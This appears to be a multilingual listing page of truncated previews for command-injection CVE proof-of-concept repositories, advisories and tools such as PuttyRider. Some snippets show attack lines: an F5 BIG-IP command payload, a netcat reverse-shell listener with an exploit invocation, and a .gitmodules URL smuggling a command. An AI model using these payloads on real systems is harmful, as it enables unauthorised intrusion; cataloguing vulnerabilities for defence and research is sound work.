CVE-2022-1388

CVE-2022-1388 Проверка и эксплуатация CVE-2022-1388 Установка: python3 -m pip install -r requirements.txt Использование Одиночная проверка : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Массовая провер...

CVE-2024-31317

CVE-2024-31317 Introduction Il y a deux jours, j'ai vu un article d'analyse de la vulnérabilité CVE-2024-31317 sur le compte public JD. En le lisant, j'ai trouvé cela assez intéressant. De plus, les solutions principales actuelles pour les systèmes embarqués automobiles sont toutes basées sur...

cve-2022-30525

CVE-2022-30525 1vere$k 제작 Rapid7 이 Zyxel 방화벽 중 ZTPZero Touch Provisioning를 지원하는 ATP 시리즈, VPN 시리즈, USG FLEX 시리즈USG20-VPN 및 USG20W-VPN 포함에 영향을 미치는 취약점을 발견하고 보고했습니다. CVE-2022-30525로 식별된 이 취약점은 인증되지 않은 원격 공격자가 영향을 받는 장치에서 nobody 사용자로 임의 코드 실행을 달성할 수 있도록 합니다. 다음 표에는 영향을 받는 모델과 펌웨어 버전이 나와 있습니다. Affecte...

PuttyRider

PuttyRider Détournez les sessions Putty pour renifler la conversation et injecter des commandes Linux. Téléchargement PuttyRider-bin.zip Documentation Présentation Defcamp 2014 - pdf Présentation Defcamp 2014 - vidéo Exemples Liste les processus Putty existants et leur état injecté / non injecté...

CVE-2024-37770

CVE-2024-37770 설명 14Finger v1.1에서 지문fingerprint 기능에 원격 명령 실행RCE 취약점이 존재하는 것으로 확인되었습니다. 이 취약점으로 인해 공격자는 제작된 페이로드를 통해 임의의 명령을 실행할 수 있습니다. 공격 벡터 인증되지 않은 공격자는 셸 메타문자를 통해 명령 주입을 실행하여 원격 서버에서 RCE를 수행할 수 있습니다. 세부 정보 핵심 기능의 지문 스캔 지점에 인증되지 않은 원격 명령 실행 취약점이 존재합니다. 소스 코드 감사를 통해 onlyspider가 false이고 spider가...

CVE-2024-3273

CVE-2024-3273 — доказательство концепции PoC Этот репозиторий содержит доказательство концепции PoC для CVE-2024-3273, уязвимости безопасности, обнаруженной в устройствах D-Link NAS. Уязвимость позволяет атакующим выполнять произвольные команды на уязвимых устройствах. Описание CVE-2024-3273 — эт...

CVE-2018-6961

CVE-2018-6961 - УЯЗВИМОСТЬ НЕАВТОРИЗОВАННОЙ ИНЪЕКЦИИ КОМАНД Этот эксплойт работает в Python2.7 — не тестировался на других версиях. 1 Установка зависимостей pip install request если pip не установлен, просто выполните apt-get install python-pip 2 Использование python exployt.py --rhost --interfac...

CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Удаленное-выполнение-команд ZeroShell 3.9.0 Удаленное внедрение команд ZeroShell 3.9.0 подвержен уязвимости удаленного выполнения команд. В частности, проблема возникает из-за неправильной обработки некоторых HTTP параметров веб-приложением. Неаутентифицированный злоумышленник...

CVE-2024-8190-unauth

CVE-2024-8190 без аутентификации Описание Объединение CVE-2024-8963 и CVE-2024-8190 — PoC для неаутентифицированного RCE на Ivanti CSA версии 4.6 и ниже. CVE-2024-8963 Обход пути в Ivanti CSA до версии 4.6 Patch 519 позволяет удаленному неаутентифицированному атакующему получить доступ к...

CVE-2016-2434

CVE-2016-2434...

CVE-2023-51385_test

CVE-2023-51385 검증 먼저 /.ssh/config에 다음 내용을 추가해야 합니다 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules 파일 구문에는 명령 주입이 존재합니다 url = ssh://echo helloworld cve.txtfoo.example.com/bar 구성 완료 후 아래 명령을 실행하여 트리거합니다 git clone...

CVE-2018-14699

CVE-2018-14699 Injection de commande non authentifiée dans la fonction enableuser de DroboAccess v2.1 Utilisation : Pour utiliser, démarrez d'abord un listener ncat -nvlp 1337 Ensuite, exécutez l'exploit exemple : exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='hôt...

Bughound

Qu'est-ce que Bughound ? Bughound est un outil open-source d'analyse statique de code qui analyse votre code et envoie les résultats vers Elasticsearch et Kibana pour obtenir des informations utiles sur les vulnérabilités potentielles de votre code. Bughound possède sa propre image Docker...

EUVD-2026-94119

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command...

CVE-2026-93674 Langflow OSS is affected by multiple vulnerabilities

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command...

EUVD-2025-211049

The management portal's diagnostic ping tool of Fanvil x7a firmware version 2.6.0.1182 does not handle user supplied input securely. The lack of secure user input handling allows any unauthenticated attacker to inject commands and run code in the underlying Android operating system...

CVE-2025-70518

The Fanvil x7a device, running firmware version 2.6.0.1182 , contains a vulnerability in the management portal's diagnostic ping tool . Due to insecure handling of user-supplied input, an unauthenticated attacker can perform command injection to execute arbitrary code on the underlying Android op...

CVE-2025-70518

The management portal's diagnostic ping tool of Fanvil x7a firmware version 2.6.0.1182 does not handle user supplied input securely. The lack of secure user input handling allows any unauthenticated attacker to inject commands and run code in the underlying Android operating system...

CVE-2025-70521

The management portal's diagnostic ping tool of Fanvil x7a firmware version 2.6.0.1182 does not handle user supplied input securely. The lack of secure user input handling allows any unauthenticated attacker to inject commands and run code in the underlying Android operating system...

CVE-2025-70521

The management portal's diagnostic ping tool of Fanvil x7a firmware version 2.6.0.1182 does not handle user supplied input securely. The lack of secure user input handling allows any unauthenticated attacker to inject commands and run code in the underlying Android operating system...